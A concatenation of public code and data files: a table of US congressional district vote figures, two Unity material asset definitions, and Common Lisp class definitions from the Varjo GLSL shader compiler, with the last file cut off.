2561 NewYork 13 19 92854 139610 0 0 1 66330 96239 20961 NewYork 13 20 66826 150301 10204 0 1 48950 113239 4274 NewYork 13 21 166371 91184 7723 1 1 144794 56239 4040 NewYork 13 22 86896 164436 0 0 1 55975 154346 0 NewYork 13 23 61835 139774 18053 0 1 39231 118359 10892 NewYork 13 24 47675 122257 31137 0 1 33083 119933 0 NewYork 13 25 107310 135076 0 0 1 82186 110242 0 NewYork 13 26 119557 110738 6821 1 1 90998 89920 4529 NewYork 13 27 89906 156596 0 0 1 51425 159248 0 NewYork 13 28 140908 112273 1897 1 1 109947 77948 6404 NewYork 13 29 128230 98031 9197 1 1 101921 79603 3387 NewYork 13 30 111445 125734 6025 0 1 60390 122233 0 NewYork 13 31 52010 150696 10848 0 0 0 114718 21102 NCarolina 47 1 116078 54457 2727 1 1 66521 42477 0 NCarolina 47 2 113693 93893 3983 1 1 62108 79666 0 NCarolina 47 3 101739 80759 4552 1 1 65003 72247 0 NCarolina 47 4 171299 89345 4416 1 1 76457 77770 0 NCarolina 47 5 117835 102086 3758 1 1 63105 84580 0 NCarolina 47 6 67200 162822 0 0 0 -9 -9 -9 NCarolina 47 7 92414 66536 4151 1 1 62396 58572 0 NCarolina 47 8 113162 71842 10447 1 1 62882 57099 0 NCarolina 47 9 74583 153650 0 0 1 44352 81409 0 NCarolina 47 10 79206 149033 6888 0 1 42722 107479 0 NCarolina 47 11 108003 130158 0 0 1 75104 113207 0 NCarolina 47 12 127262 49402 4160 1 1 57592 29910 0 NDakota 36 98 169273 117442 4839 1 1 121631 104651 6178 Ohio 24 1 120190 0 114232 1 1 72263 92451 0 Ohio 24 2 75924 177720 0 0 1 43471 149249 0 Ohio 24 3 146072 98733 0 1 1 104608 71638 0 Ohio 24 4 92608 147346 486 0 0 -9 -9 -9 Ohio 24 5 0 187860 0 0 1 48914 134581 0 Ohio 24 6 122720 119252 0 1 1 86892 90401 0 Ohio 24 7 66237 164195 0 0 0 -9 -9 -9 Ohio 24 8 62033 176362 0 0 0 -9 -9 -9 Ohio 24 9 178879 53011 11162 1 1 117237 38442 0 Ohio 24 10 103788 136433 0 0 1 70547 94499 17586 Ohio 24 11 154718 43866 25040 1 1 112914 33361 0 Ohio 24 12 68761 170297 0 0 1 86839 103882 0 Ohio 24 13 134486 88889 28883 1 1 92536 85736 10160 Ohio 24 14 165335 78659 0 1 1 95510 88427 0 Ohio 24 15 94907 110390 44906 0 1 51503 110892 0 Ohio 24 16 90224 158489 0 0 1 45423 136375 0 Ohio 24 17 216503 40743 0 1 1 147849 43067 0 Ohio 24 18 166189 77229 0 1 1 88208 100929 0 Ohio 24 19 138465 124606 0 1 1 89162 99392 16465 Oklahoma 53 1 106619 119211 0 0 1 63753 107085 0 Oklahoma 53 2 118542 87657 7314 1 1 75943 82479 0 Oklahoma 53 3 155934 51725 0 1 1 115731 41147 0 Oklahoma 53 4 140841 58235 0 1 1 67237 80251 7913 Oklahoma 53 5 107579 123237 0 0 0 0 136877 38270 Oklahoma 53 6 134734 64068 0 1 1 45399 106961 0 Oregon 72 1 152917 140986 251 1 1 118934 118509 9252 Oregon 72 2 90036 184163 279 0 1 71576 100335 7074 Oregon 72 3 208028 50235 11616 1 1 132271 31183 14175 Oregon 72 4 199372 79733 194 1 1 138059 65425 0 Oregon 72 5 174443 97984 517 1 1 110297 117106 6218 Pennsylvania 14 1 150172 35419 0 1 1 97283 22553 0 Pennsylvania 14 2 164355 47906 1666 1 1 117754 19849 0 Pennsylvania 14 3 130828 86787 4356 1 1 92013 54723 0 Pennsylvania 14 4 186684 48484 2754 1 1 118907 66391 0 Pennsylvania 14 5 -9 -9 -9 0 0 -9 -9 -9 Pennsylvania 14 6 108312 99694 99694 1 1 89184 67308 0 Pennsylvania 14 7 91623 180648 1627 0 1 59777 137177 0 Pennsylvania 14 8 114095 129593 5850 0 1 45057 110239 12272 Pennsylvania 14 9 -9 -9 -9 0 0 -9 -9 -9 Pennsylvania 14 10 0 189414 20134 0 1 50112 105663 0 Pennsylvania 14 11 138875 68112 0 1 1 100956 50389 0 Pennsylvania 14 12 -9 -9 -9 1 1 117783 53113 0 Pennsylvania 14 13 127685 126312 0 1 1 88173 96431 10430 Pennsylvania 14 14 165633 61311 2094 1 1 104600 53250 5488 Pennsylvania 14 15 111419 99520 2385 1 1 71751 71545 7228 Pennsylvania 14 16 74741 137823 0 0 1 47569 109487 0 Pennsylvania 14 17 65881 150158 0 0 0 -9 -9 -9 Pennsylvania 14 18 96655 154024 3650 0 1 101396 83714 0 Pennsylvania 14 19 74798 98599 44190 0 0 -9 -9 -9 Pennsylvania 14 20 114898 111591 0 1 1 95340 83900 0 Pennsylvania 14 21 70802 150729 0 0 1 84817 89367 6383 RhodeIs 5 1 48092 135982 10015 0 1 86904 73527 0 RhodeIs 5 2 144450 49998 9965 1 1 115246 53937 0 SCarolina 48 1 59908 121938 2703 0 1 47849 97878 1836 SCarolina 48 2 0 148667 21003 0 0 -9 -9 -9 SCarolina 48 3 119119 75660 0 1 1 59846 90061 0 SCarolina 48 4 94182 99879 4286 0 1 39389 109613 0 SCarolina 48 5 112031 70866 189 1 1 77007 70314 0 SCarolina 48 6 120647 64149 0 1 1 88700 50225 0 SDakota 37 98 230070 89375 13457 1 1 183038 112100 10931 Tennessee 54 1 47809 114797 7542 0 1 34591 101508 3563 Tennessee 54 2 52887 148377 4134 0 0 0 127831 13395 Tennessee 54 3 105693 102763 8074 1 1 73602 84346 3424 Tennessee 54 4 98984 50340 5180 1 1 60800 81328 1954 Tennessee 54 5 125233 49417 12918 1 1 94005 60710 1596 Tennessee 54 6 120177 86289 5952 1 1 90720 88644 0 Tennessee 54 7 72062 125101 5694 0 1 65777 101733 1942 Tennessee 54 8 136852 0 26570 1 1 96513 55100 0 Tennessee 54 9 123276 60606 28857 1 1 94804 69224 0 Texas 49 1 -9 -9 -9 1 1 86420 63884 6001 Texas 49 2 118625 92176 549 1 1 87553 65947 0 Texas 49 3 0 201569 32570 0 0 0 157011 15611 Texas 49 4 128008 83875 8450 1 1 99315 67264 2376 Texas 49 5 98567 62419 6344 1 1 61342 58608 3216 Texas 49 6 73933 189140 0 0 1 44394 152011 4687 Texas 49 7 -9 -9 -9 0 0 -9 -9 -9 Texas 49 8 53473 179349 0 0 0 0 147890 12752 Texas 49 9 118690 96270 6401 1 1 71643 81353 3801 Texas 49 10 177233 68646 15919 1 1 113738 80382 7866 Texas 49 11 119999 58033 0 1 1 76589 52824 0 Texas 49 12 125492 74432 0 1 1 96576 43957 0 Texas 49 13 117892 77514 0 1 1 63597 79326 0 Texas 49 14 135930 54412 9329 1 1 85899 68791 0 Texas 49 15 86351 56549 0 1 1 61889 40755 1806 Texas 49 16 66731 61870 0 1 1 49815 37409 0 Texas 49 17 136213 69958 0 1 1 83486 72000 0 Texas 49 18 111422 56080 4706 1 1 84802 28156 5447 Texas 49 19 47325 162057 0 0 0 -9 -9 -9 Texas 49 20 -9 -9 -9 1 1 59257 35895 0 Texas 49 21 62827 190979 10847 0 0 0 165425 18471 Texas 49 22 67812 150221 0 0 1 38823 119296 4016 Texas 49 23 63797 98259 4291 0 1 43727 72868 0 Texas 49 24 104174 70042 0 1 1 65177 58039 0 Texas 49 25 98975 73192 4710 1 1 61945 53309 3247 Texas 49 26 55237 150209 0 0 1 39765 135397 2030 Texas 49 27 87022 66853 2969 1 1 64454 44200 0 Texas 49 28 122457 0 18128 1 1 73900 28745 1597 Texas 49 29 64064 34609 0 1 1 44090 15948 0 Texas 49 30 107381 37853 5063 1 1 73166 25848 1728 Utah 67 1 68712 160037 16505 0 1 57583 104740 0 Utah 67 2 127738 118307 6924 1 1 66883 85479 34174 Utah 67 3 135029 84019 10013 1 1 91091 61377 1731 Vermont 6 98 22279 86901 172446 -9 0 0 95995 110055 Virginia 40 1 89814 133537 8677 0 1 44804 142927 4365 Virginia 40 2 99253 77797 0 1 1 78524 54623 0 Virginia 40 3 132432 35780 261 1 1 108091 28042 0 Virginia 40 4 147649 68286 0 1 1 115236 71176 0 Virginia 40 5 133031 60030 0 1 1 94955 83135 0 Virginia 40 6 84618 127309 160 0 0 -9 -9 -9 Virginia 40 7 43267 211618 43757 0 0 0 176650 33123 Virginia 40 8 138542 102717 5867 1 1 116602 77088 1808 Virginia 40 9 133284 77985 0 1 1 102329 72021 0 Virginia 40 10 75775 144471 6874 0 0 0 150421 21467 Virginia 40 11 114172 103119 10981 1 1 80729 91622 5050 Washington 73 1 148844 113897 8533 1 1 80948 82912 0 Washington 73 2 133207 107365 15348 1 1 76295 89765 0 Washington 73 3 138043 108583 0 1 1 74713 86072 5661 Washington 73 4 106556 103028 0 1 1 69338 76483 0 Washington 73 5 135965 110443 0 1 1 97448 99622 0 Washington 73 6 152933 66664 18565 1 1 90822 64648 0 Washington 73 7 222604 54149 7197 1 1 127758 39791 0 Washington 73 8 87611 155874 14686 0 1 57779 118572 0 Washington 73 9 110902 91910 10107 1 1 61642 64434 0 WVirginia 56 1 -9 -9 -9 1 1 102605 43291 0 WVirginia 56 2 143988 59102 0 1 1 90063 51224 0 WVirginia 56 3 122279 64012 0 1 1 74344 41972 0 Wisconsin 25 1 147495 104352 4391 1 1 82537 83935 3052 Wisconsin 25 2 108291 183366 1140 0 1 55398 133802 4025 Wisconsin 25 3 108664 146903 4736 0 1 65755 89271 5056 Wisconsin 25 4 173482 84872 5449 1 1 93801 77701 2574 Wisconsin 25 5 162344 71085 747 1 1 88040 51443 1576 Wisconsin 25 6 128232 143875 0 0 0 -9 -9 -9 Wisconsin 25 7 166200 91772 0 1 1 97184 81697 0 Wisconsin 25 8 81792 191704 0 0 1 65218 114021 0 Wisconsin 25 9 77362 192898 6500 0 0 -9 -9 -9 Wyoming 68 98 77418 113882 5677 0 1 80964 104229 11817
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!21 &2100000 Material: serializedVersion: 6 m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 0} m_Name: NoiseBall2 m_Shader: {fileID: 4800000, guid: dd34056461ef98446a6f7fec54e04bd7, type: 3} m_ShaderKeywords: m_LightmapFlags: 4 m_EnableInstancingVariants: 0 m_CustomRenderQueue: -1 stringTagMap: {} disabledShaderPasses: [] m_SavedProperties: serializedVersion: 3 m_TexEnvs: - _BumpMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailAlbedoMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailMask: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailNormalMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _EmissionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MainTex: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MetallicGlossMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _OcclusionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _ParallaxMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} m_Floats: - _BumpScale: 1 - _Cutoff: 0.5 - _DetailNormalMapScale: 1 - _DstBlend: 0 - _GlossMapScale: 1 - _Glossiness: 0.5 - _GlossyReflections: 1 - _Metallic: 0 - _Mode: 0 - _OcclusionStrength: 1 - _Parallax: 0.02 - _Smoothness: 0 - _SmoothnessTextureChannel: 0 - _SpecularHighlights: 1 - _SrcBlend: 1 - _UVSec: 0 - _ZWrite: 1 m_Colors: - _Color: {r: 1, g: 1, b: 1, a: 1} - _EmissionColor: {r: 0, g: 0, b: 0, a: 1}
{ "pile_set_name": "Github" }
(in-package :varjo.internals) (in-readtable :fn.reader) ;;---------------------------------------------------------------------- (defclass compiled () ((type-set :initarg :type-set :reader type-set) (is-ephemeral :initarg :is-ephemeral) (current-line :initarg :current-line :initform "") (to-block :initarg :to-block :initform nil :reader to-block) (return-set :initarg :return-set :initform nil :reader return-set) (emit-set :initarg :emit-set :initform nil :reader emit-set) (used-types :initarg :used-types :initform nil :reader used-types) (stem-cells :initarg :stemcells :initform nil :reader stemcells) (out-of-scope-args :initarg :out-of-scope-args :initform nil :reader out-of-scope-args) (pure :initarg :pure :initform nil :reader pure-p) (place-tree :initarg :place-tree :initform nil :reader place-tree) (called-funcs :initarg :called-funcs :initform nil :reader called-funcs) (literal :initarg :literal :initform nil :reader literal-p))) (defgeneric current-line (code-obj &optional even-when-ephemeral)) ;;---------------------------------------------------------------------- (defclass post-compile-process () ((all-functions :initarg :all-functions :accessor all-functions) (env :initarg :env :accessor env) (stage :initarg :stage :accessor stage) (in-decl :initform nil :initarg :in-decl :accessor in-declarations) (input-variable-glsl :initarg :input-variable-glsl :accessor input-variable-glsl) (output-variable-glsl :initarg :output-variable-glsl :accessor output-variable-glsl) (out-set :initarg :out-set :accessor out-set) (raw-out-set :initarg :raw-out-set :accessor raw-out-set) (gs-invocations :initform nil :initarg :gs-invocations :accessor gs-invocations) (out-decl :initform nil :initarg :out-decl :accessor out-declarations) (output-variables :initarg :output-variables :accessor output-variables) (uniforms :initarg :uniforms :accessor uniforms) (shared-decls :initarg :shared-decls :accessor shared-decls) (stemcells :initarg :stemcells :accessor stemcells) (input-variables :initarg :input-variables :accessor input-variables) (used-user-structs :initarg :used-user-structs :accessor used-user-structs) (used-external-functions :initarg :used-external-functions :accessor used-external-functions) (main-metadata :initarg :main-metadata :accessor main-metadata) (primitive-out :initarg :primitive-out :accessor primitive-out))) (defmethod primitive-in ((pp post-compile-process)) (primitive-in (stage pp))) (defun all-called-functions (compiled-func) (remove-duplicates (append (called-funcs compiled-func) (mappend #'all-called-functions (called-funcs compiled-func))) :test #'eq)) ;;---------------------------------------------------------------------- (defclass compiled-function-result () ((function-obj :initarg :function-obj :reader function-obj) (glsl-code :initarg :glsl-code :reader glsl-code) (signatures :initarg :signatures :reader signatures) (used-types :initarg :used-types :reader used-types) (stemcells :initarg :stemcells :reader stemcells) (return-set :initarg :return-set :reader return-set) (emit-set :initarg :emit-set :reader emit-set) (top-level-scoped-metadata :initarg :top-level-scoped-metadata :initform nil :reader top-level-scoped-metadata) (calls :initform nil :initarg :calls :accessor calls) (inline-candidate :initform nil :initarg :inline-candidate :accessor inline-candidate) (called-funcs :initarg :called-funcs :initform nil :reader called-funcs))) (defmethod name ((compiled-func compiled-function-result)) (let ((func (function-obj compiled-func))) (assert func () "BUG: compiled-function without v-function~%~a" compiled-func) (name func))) ;;---------------------------------------------------------------------- (defclass stage () ((input-variables :initarg :input-variables :accessor input-variables) (uniform-variables :initarg :uniform-variables :accessor uniform-variables) (shared-variables :initarg :shared-variables :accessor shared-variables) (context :initarg :context :accessor context) (lisp-code :initarg :lisp-code :accessor lisp-code) (stemcells-allowed :initarg :stemcells-allowed :accessor stemcells-allowed) (previous-stage :initarg :previous-stage :accessor previous-stage :initform nil) (primitive-in :initarg :primitive-in :accessor primitive-in))) (defclass tessellation-stage () ()) (defclass vertex-stage (stage) ()) (defclass tessellation-control-stage (stage tessellation-stage) ()) (defclass tessellation-evaluation-stage (stage tessellation-stage) ()) (defclass geometry-stage (stage) ()) (defclass fragment-stage (stage) ()) (defclass compute-stage (stage) ()) ;;---------------------------------------------------------------------- ;; Compiler output (defclass compiled-stage () ((glsl-code :initarg :glsl-code :accessor glsl-code) (output-variables :initarg :output-variables :accessor output-variables) (starting-stage :initarg :starting-stage :accessor starting-stage) (implicit-uniforms :initarg :implicit-uniforms :accessor implicit-uniforms) (used-external-functions :initarg :used-external-functions :reader used-external-functions) (primitive-out :initarg :primitive-out :accessor primitive-out))) (defclass compiled-vertex-stage (vertex-stage compiled-stage) ()) (defclass compiled-tessellation-control-stage (tessellation-control-stage compiled-stage) ()) (defclass compiled-tessellation-evaluation-stage (tessellation-evaluation-stage compiled-stage) ()) (defclass compiled-geometry-stage (geometry-stage compiled-stage) ()) (defclass compiled-fragment-stage (fragment-stage compiled-stage) ()) (defclass compiled-compute-stage (compute-stage compiled-stage) ()) (defclass shader-variable () ((name :initarg :name :reader name) (glsl-name :initarg :glsl-name :reader glsl-name) (type :initarg :type :reader v-type-of))) (defclass input-variable (shader-variable) ()) (defclass uniform-variable (shader-variable) ((glsl-decl :initarg :glsl-decl :reader %glsl-decl))) (defclass shared-variable (shader-variable) ()) (defclass implicit-uniform-variable (uniform-variable) ((cpu-side-transform :initarg :cpu-side-transform :reader cpu-side-transform))) (defclass output-variable (shader-variable) ((location :initarg :location :reader location) (block-name :initarg :block-name :reader block-name))) (defclass qualifier () ((name :initarg :name :reader name) (glsl-string :initarg :glsl-string :reader glsl-string))) (defclass feedback-qualifier (qualifier) ((group :initarg :group :reader feedback-group))) ;;---------------------------------------------------------------------- (defclass environment () ((base-env :initform nil :initarg :base-env) (parent-env :initform nil :initarg :parent-env :reader v-parent-env) (previous-env-with-form-bindings :initform nil :initarg :previous-env-with-form-bindings :reader v-previous-env-with-form-bindings) (context :initform nil :initarg :context :reader v-context) (symbol-bindings :initform nil :initarg :symbol-bindings :reader v-symbol-bindings) (form-bindings :initarg :form-bindings :reader v-form-bindings) (multi-val-base :initform nil :initarg :multi-val-base :reader v-multi-val-base) (multi-val-safe :initform nil :initarg :multi-val-safe :reader v-multi-val-safe) (function-scope :initform 0 :initarg :function-scope :reader v-function-scope) (env-depth :initarg :env-depth :reader env-depth) (allowed-outer-vars :initform nil :initarg :allowed-outer-vars :reader v-allowed-outer-vars) (local-metadata :initform (make-hash-table :test #'eql)) (ext-func-compile-chain :initform nil :initarg :ext-func-compile-chain :reader ext-func-compile-chain))) (defclass base-environment (environment) ((stage :initform (error "Varjo: stage is mandatory in environment") :initarg :stage :reader stage) (expanded-input-variables :initform nil :initarg :expanded-input-variables :accessor expanded-input-variables) (uniforms :initform nil :initarg :uniforms :accessor v-uniforms) (shared :initform nil :initarg :shared :accessor v-shared) (context :initform nil :initarg :context :reader v-context) (stemcell->flow-id :initform (make-hash-table :test #'eq) :initarg :stemcell->flow-id) (name-map :initform (make-hash-table :test #'equal)) (compiled-functions :initform (make-hash-table :test #'eq)) (value-metadata :initform (make-hash-table :test #'eql)) (stemcells-allowed :initform t :initarg :stemcells-allowed :reader allows-stemcellsp) (env-depth :initform 0 :initarg :env-depth :reader env-depth))) ;;---------------------------------------------------------------------- (defclass external-function () ((name :initarg :name :reader name) (in-args :initarg :in-args :reader in-args) (&rest-pos :initarg :&rest-pos :reader &rest-pos) (doc-string :initform nil :initarg :doc-string :reader v-doc-string) (uniforms :initarg :uniforms :reader uniforms) (code :initarg :code :reader code) (glsl-versions :initarg :glsl-versions :reader glsl-versions) (declaimed-inline :initform nil :accessor declaimed-inline))) ;;---------------------------------------------------------------------- (defclass flow-identifier () ((ids :initform nil :initarg :ids :reader ids))) (defclass bare-flow-id () ((val :initarg :val) (return-pos :initform 0 :initarg :return-pos))) ;;---------------------------------------------------------------------- (defclass rolling-result () ((remaining-stages :initform *stage-type-names* :initarg :remaining-stages) (compiled-stages :initform nil :initarg :compiled-stages))) ;;---------------------------------------------------------------------- ;; ;; A match has 2 components to it's score: ;; ;; The primary score measures how many arguments needed casting to match ;; the target signature's type. ;; ;; The secondary-score measures how many superclasses you have to cross ;; to travel from the matched type to the target signature's type (defclass func-match () ((score :initarg :score :reader score) (secondary-score :initarg :secondary-score :reader secondary-score) (tertiary-score :initarg :tertiary-score :reader tertiary-score) (func :initarg :func :reader func) (arguments :initarg :arguments :reader arguments))) ;;---------------------------------------------------------------------- (defclass stemcell () ((name :initarg :name :reader name) (string-name :initarg :string-name) (type :initarg :type :reader v-type-of) (flow-id :initarg :flow-id :reader flow-ids) (cpu-side-transform :initarg :cpu-side-transform))) ;;---------------------------------------------------------------------- (defclass v-value () ((type :initarg :type :initform nil :accessor v-type-of) (glsl-name :initarg :glsl-name :accessor glsl-name) (function-scope :initarg :function-scope :initform 0 :accessor v-function-scope) (read-only :initarg :read-only :initform nil :reader v-read-only))) (defclass uninitialized-value (v-value) ()) ;;---------------------------------------------------------------------- (defclass captured-var () ((name :initarg :name :reader name) (value :initarg :value :reader v-value) (origin-env :initarg :origin-env :reader origin-env))) ;;---------------------------------------------------------------------- (defclass v-symbol-macro () ((expansion :initarg :expansion :initform nil :reader expansion) (function-scope :initarg :function-scope :initform 0 :accessor v-function-scope))) ;;---------------------------------------------------------------------- (defclass v-regular-macro () ((name :initform nil :initarg :name :reader name) (args :initform nil :initarg :args :accessor arguments) (macro-function :initarg :macro-function :initform nil :reader v-macro-function) (function-scope :initarg :function-scope :initform 0 :accessor v-function-scope) (context :initform nil :initarg :context :reader v-context))) ;;---------------------------------------------------------------------- (defclass v-compiler-macro () ((name :initform nil :initarg :name :reader name) (args :initform nil :initarg :args :accessor arguments) (&rest-pos :initarg :&rest-pos :reader &rest-pos) (context :initform nil :initarg :context :reader v-context) (function-scope :initform 0 :accessor v-function-scope :allocation :class) (argument-spec :initform nil :initarg :arg-spec :accessor v-argument-spec) (macro-function :initarg :macro-function :initform nil :reader v-macro-function))) ;;---------------------------------------------------------------------- (defclass extended-environment () ((env :initarg :env))) (defclass expansion-env (extended-environment) ((macro-obj :initarg :macro-obj))) (defclass macro-expansion-environment (expansion-env) ()) (defclass compiler-macro-expansion-environment (expansion-env) ((args :initarg :args))) ;;---------------------------------------------------------------------- (defclass typed-external-name () ((type :initarg :type :reader v-type-of) (glsl-name :initarg :glsl-name :reader glsl-name))) ;;---------------------------------------------------------------------- (defclass standard-metadata () ()) (defclass standard-scope-metadata (standard-metadata) ()) (defclass standard-value-metadata (standard-metadata) ()) ;;------------------------------------------------------------------------- (defclass primitive () ()) (defclass draw-mode (primitive) ()) (defclass geometry-primitive (primitive) ()) (defclass tessellation-in-primitive (primitive) ()) (defclass tessellation-out-primitive (primitive) ()) (defclass dynamic (draw-mode) ()) (defclass points (draw-mode geometry-primitive tessellation-out-primitive) ((lisp-name :initform :points :reader lisp-name) (vertex-count :initform 1 :reader vertex-count) (glsl-string :initform "points" :reader glsl-string))) (defclass lines (draw-mode geometry-primitive) ((lisp-name :initform :lines :reader lisp-name) (vertex-count :initform 2 :reader vertex-count) (glsl-string :initform "lines" :reader glsl-string))) (defclass iso-lines (tessellation-out-primitive) ((lisp-name :initform :iso-lines :reader lisp-name) (vertex-count :initform 2 :reader vertex-count) (glsl-string :initform "iso_lines" :reader glsl-string))) (defclass line-loop (draw-mode) ((lisp-name :initform :line-loop :reader lisp-name) (glsl-string :initform "line_loop" :reader glsl-string))) (defclass line-strip (draw-mode) ((lisp-name :initform :line-strip :reader lisp-name) (glsl-string :initform "line_strip" :reader glsl-string))) (defclass lines-adjacency (draw-mode geometry-primitive) ((lisp-name :initform :lines-adjacency :reader lisp-name) (vertex-count :initform 4 :reader vertex-count) (glsl-string :initform "lines_adjacency" :reader glsl-string))) (defclass line-strip-adjacency (draw-mode) ((lisp-name :initform :line-strip-adjacency :reader lisp-name) (glsl-string :initform "line_strip_adjacency" :reader glsl-string))) (defclass triangles (draw-mode geometry-primitive tessellation-out-primitive) ((lisp-name :initform :triangles :reader lisp-name) (vertex-count :initform 3 :reader vertex-count) (glsl-string :initform "triangles" :reader glsl-string))) (defclass triangle-fan (draw-mode) ((lisp-name :initform :triangle-fan :reader lisp-name) (glsl-string :initform "triangle_fan" :reader glsl-string))) (defclass triangle-strip (draw-mode) ((lisp-name :initform :triangle-strip :reader lisp-name) (glsl-string :initform "triangle_strip" :reader glsl-string))) (defclass triangles-adjacency (draw-mode geometry-primitive) ((lisp-name :initform :triangles-adjacency :reader lisp-name) (vertex-count :initform 6 :reader vertex-count) (glsl-string :initform "triangles_adjacency" :reader glsl-string))) (defclass triangle-strip-adjacency (draw-mode) ((lisp-name :initform :triangle-strip-adjacency :reader lisp-name) (glsl-string :initform "triangle_strip_adjacency" :reader glsl-string))) (defclass quads (draw-mode tessellation-out-primitive) ((lisp-name :initform :quads :reader lisp-name) (glsl-string :initform "quads" :reader glsl-string))) (defclass patches (draw-mode tessellation-in-primitive) ((lisp-name :initform :patches :reader lisp-name) (vertex-count :initarg :vertex-count :reader vertex-count))) (defmethod make-load-form ((prim primitive) &optional environment) (declare (ignore environment)) `(make-instance ',(type-of prim))) (defmethod make-load-form ((prim patches) &optional environment) (declare (ignore environment)) `(make-instance 'patches :vertex-count ,(vertex-count prim))) (defun primitive-name-to-instance (name) (if (listp name) (dbind (name length) name (assert (and (string= name "PATCH") (integerp length) (> length 1))) (make-instance 'patches :vertex-count length)) (ecase name (:dynamic (make-instance 'dynamic)) (:points (make-instance 'points)) (:lines (make-instance 'lines)) (:iso-lines (make-instance 'iso-lines)) (:line-loop (make-instance 'line-loop)) (:line-strip (make-instance 'line-strip)) (:lines-adjacency (make-instance 'lines-adjacency)) (:line-strip-adjacency (make-instance 'line-strip-adjacency)) (:triangles (make-instance 'triangles)) (:triangle-fan (make-instance 'triangle-fan)) (:triangle-strip (make-instance 'triangle-strip)) (:triangles-adjacency (make-instance 'triangles-adjacency)) (:triangle-strip-adjacency (make-instance 'triangle-strip-adjacency)) (:quads (make-instance 'quads)) (:patches (error 'underspecified-patch-primitive))))) (defun valid-primitive-name-p (name) (if (listp name) (dbind (name length) name (and (string= name "PATCH") (integerp length) (> length 1))) (not (null (find name '(:dynamic :points :lines :iso-lines :line-loop :line-strip :lines-adjacency :line-strip-adjacency :triangles :triangle-fan :triangle-strip :triangles-adjacency :triangle-strip-adjacency :quads)))))) ;;------------------------------------------------------------------------- (defclass v-function () ((versions :initform nil :initarg :versions :accessor v-versions) (argument-spec :initform nil :initarg :arg-spec :accessor v-argument-spec) (&rest-pos :initarg :&rest-pos :reader &rest-pos) (glsl-string :initform "" :initarg :glsl-string :reader v-glsl-string) (glsl-name :initarg :glsl-name :accessor glsl-name) (return-spec :initform nil :initarg :return-spec :accessor v-return-spec) (v-place-index :initform nil :initarg :v-place-index :reader v-place-index) (name :initform nil :initarg :name :reader name) (implicit-args :initform nil :initarg :implicit-args :reader implicit-args) (in-out-args :initform nil :initarg :in-out-args :reader in-out-args) ;; as of now the flow-ids of the return are never related to in-arg-flow-ids ;; in v-function. We have it here purely to support multiple returns in spec ;; functions (when we get around to supporting those) (in-arg-flow-ids :initform (error 'flow-ids-mandatory :for :v-function :primary-type :v-function) :initarg :in-arg-flow-ids :reader in-arg-flow-ids) (flow-ids :initform (error 'flow-ids-mandatory :for :v-function :primary-type :v-function) :initarg :flow-ids :reader flow-ids) (emit-set :initform nil :initarg :emit-set :reader emit-set) (pure :initform nil :initarg :pure :reader pure-p) (derived-from :initarg :derived-from :initform nil :reader derived-from))) (defmethod functions ((fn v-function)) (list fn)) ;;------------------------------------------------------------ (defclass v-user-function (v-function) ((captured-vars :initform nil :initarg :captured-vars :reader captured-vars) (code :initform nil :initarg :code :reader v-code) (compiled-result :accessor compiled-result))) ;;------------------------------------------------------------ (defclass return-type-generator () ()) (defclass ret-gen-superior-type (return-type-generator) ()) (defclass ret-gen-nth-arg-type (return-type-generator) ((arg-num :initform (error "ret-gen-nth-arg-type - arg-num must be provided") :initarg :arg-num :reader arg-num))) (defclass ret-gen-element-of-nth-arg-type (return-type-generator) ((arg-num :initform (error "ret-gen-nth-arg-type - arg-num must be provided") :initarg :arg-num :reader arg-num))) (defmethod make-load-form ((obj ret-gen-superior-type) &optional environment) (declare (ignore environment)) `(make-instance 'ret-gen-superior-type)) (defmethod make-load-form ((obj ret-gen-nth-arg-type) &optional environment) (declare (ignore environment)) `(make-instance 'ret-gen-nth-arg-type :arg-num ,(arg-num obj))) (defmethod make-load-form ((obj ret-gen-element-of-nth-arg-type) &optional environment) (declare (ignore environment)) `(make-instance 'ret-gen-element-of-nth-arg-type :arg-num ,(arg-num obj)))
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!21 &2100000 Material: serializedVersion: 6 m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_Name: Kulouwang_show1 m_Shader: {fileID: 4800000, guid: a880737a0914e2349a5c9d5225256018, type: 3} m_ShaderKeywords: m_LightmapFlags: 5 m_EnableInstancingVariants: 0 m_DoubleSidedGI: 0 m_CustomRenderQueue: 2000 stringTagMap: {} disabledShaderPasses: [] m_SavedProperties: serializedVersion: 3 m_TexEnvs: - _BumpMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailAlbedoMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailMask: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailNormalMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _EmissionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _LightTex: m_Texture: {fileID: 2800000, guid: 669cab65a8be7434f96b856caa93f457, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MainTex: m_Texture: {fileID: 2800000, guid: 1b605e25ae51006428f48eaf3fd83f52, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MaskTex: m_Texture: {fileID: 2800000, guid: 1ab7d7b2b88b13e4c9c889f265ca4b0f, type: 3} m_Scale: {x: 1, y: 1} m_Offset: 